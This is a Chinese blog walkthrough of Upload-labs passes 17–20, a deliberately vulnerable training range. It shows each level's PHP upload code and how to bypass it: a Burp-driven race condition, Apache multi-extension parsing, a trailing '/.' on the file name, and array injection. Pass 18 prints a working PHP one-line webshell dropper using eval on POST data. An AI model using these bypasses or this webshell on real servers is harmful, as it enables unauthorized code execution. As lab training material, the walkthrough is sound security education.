//tips:最好是使用gif图像,与原文件对比中找到第二个匹配的位置,在靠后一点的位置上粘贴一个一句话木马的代码,上传之后复制图片链接连接。

Upload-labs-pass17: ‘竞争条件攻击1’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
//rename(string $from, string $to, ?resource $context = null): bool
/*重命名一个文件或目录,尝试把 from 重命名为 to,必要时会在不同目录间移动。如果重命名文件时 to 已经存在,将会覆盖掉它。如果重命名文件夹时 to 已经存在,本函数将导致一个警告。*/

//发现如果上传的符合它的白名单,那就进行重命名,如果不符合,直接删除!解析的机会都没有,这让我想到了条件竞争,如果我在它删除之前就访问这个文件,他就不会删除了。接下来直接实验,上传一个php文件,然后burp抓包发到爆破模块,clear所有选中的字符,Paylod type改为Null payloads,勾选continue indefinitely,number of threads为20。start attack发包,然后用浏览器一直访问1.php,按F5一直刷新,如果在上传的瞬间访问到了,它就无法删除(也可以用burp的爆破不断访问)。这样就成功完成竞争条件攻击。
//tips:因为文件删除和访问需要把控时机,所以有可能攻击长时间也没有成功,需要一定的运气。

Upload-labs-pass18: ‘竞争条件攻击2+Apache解析漏洞’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");//文件包含
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}

//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );//可用的文件后缀

......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
......
......
......
}
//此关源代码可能有误,我们打开pass18的源代码,打开myuoload.php。在103行的$dir后面加上" '/' "
//Apache解析漏洞:
/*Apache解析漏洞主要是因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)
//分析后我们可以利用Apache的解析漏洞,在php文件后加上.7z即'1.php.7z',上传的木马最好为小马即
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>
//后面的方法与上一关相似,注意访问的文件名为'1.php.7z',连接时文件名为'shell.php'(ps:如果你用的是我给的这个php代码的话)

Upload-labs-pass19: ‘一个后缀绕过总结’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext =
pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//因为这是一个文件后缀绕过的总结,方法有不少,但是我这里只讲其中一种。

//pathinfo(string $path, int $flags = PATHINFO_ALL): array|string
/*pathinfo() 返回一个关联数组包含有 path 的信息。返回关联数组还是字符串取决于 flags。 */

//看到19关的页面,明显比前面的多了点东西,多了一个保存名称,没有对上传的文件做判断,只对用户输入的文件名做判断。查看源码,有move_uploaded_file()这样一个函数,它有一个特性,会忽略到文件末尾的'/.',直接上传1.php,将保存的文件名后面加上'/.',即可上传成功。

Upload-labs-pass20: ‘代码审计+数组’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//判断保存文件名是否为空,如果为空则用原名字,否则是填写的保存名字
if (!is_array($file)) { //检测file文件是否为数组
$file = explode('.', strtolower($file));//用点分隔文件名并且变成小写,文件名变成一个数组,防止后缀绕过
}

$ext = end($file);//取数组最后一项
$allow_suffix = array('jpg','png','gif');//白名单判断
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
//reset()函数取数组的第一个元素
$file_name = reset($file) . '.' . $file[count($file) - 1];//count($file)获取数组中的元素个数,拼接文件名
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
//explode(string $separator, string $string, int $limit = PHP_INT_MAX): array
/*此函数返回由字符串组成的数组,每个元素都是 string 的一个子串,它们被字符串 separator 作为边界点分割出来。

//is_array(mixed $value): bool
/*检测变量是否是数组。

//empty(mixed $var): bool
/*判断变量是否为是空。当变量不存在或者它的值等于 false,那么视为空。如果变量不存在,empty() 不会产生警告。

//reset(array|object &$array): mixed
/*reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

//count(Countable|array $value, int $mode = COUNT_NORMAL): int
/*用于数组时,统计数组中元素的数量;用于实现了 Countable 接口的对象时,返回 Countable::count() 方法的返回值。

//end(array|object &$array): mixed
/*end() 将 array 的内部指针移动到最后一个单元并返回其值。

//观察源代码,我们可以发现 if (!is_array($file)) 是一个可以绕过的位置,我们直接传入数组即可绕过该函数,但是我们传入数组的选择极为重要,影响我们的整个绕过。接着重要的点是[$file[count($file) - 1]这个位置,它可以统计元素的数量,下标减一获取的是数组最后一项的值。
/*count($file)=3
/*$file[0]=1.php
/*$file[1]=php
/*$file[2]=null(即传入空值)
/*$file[8]=jpg (其实只需要下标大于等于3即可)
/*end($file)=jpg
分析以上数据,我们传入数组即可绕过if (!is_array($file)),防止我们的文件被分隔。
在end($file)位置的值为$file[8]即'jpg',成功绕过白名单后缀检测
在[$file[count($file) - 1]位置count($file)的值为3,因为有三个有实值数组元素
所以[$file[count($file) - 1]的值为2,然而$file[2]=null,即我们拿到的$file_name就是$file[0]=1.php再加个'.',但在服务器会自动把'.'去除,所以我们成功绕过了检测

根据以上思路我们有如下解题方法
//保存名字写'1.php',用bp抓包上传,改包成如下图所示,然后发包即可成功绕过

最后

因为笔记图片比较少,如果还有不太清楚的地方,可以参考的文章与视频推荐:

CSDN博客:Upload-labs-pass 1-19关全解

b站:文件上传漏洞靶场通关+知识点教程 1-21 tips:因为比我们的20关多一关,注意自己判别,可能会有关卡错位


Upload-labs分析
http://example.com/2024/04/02/Upload-labs-passCode_source/
作者
piiick
发布于
2024年4月2日
许可协议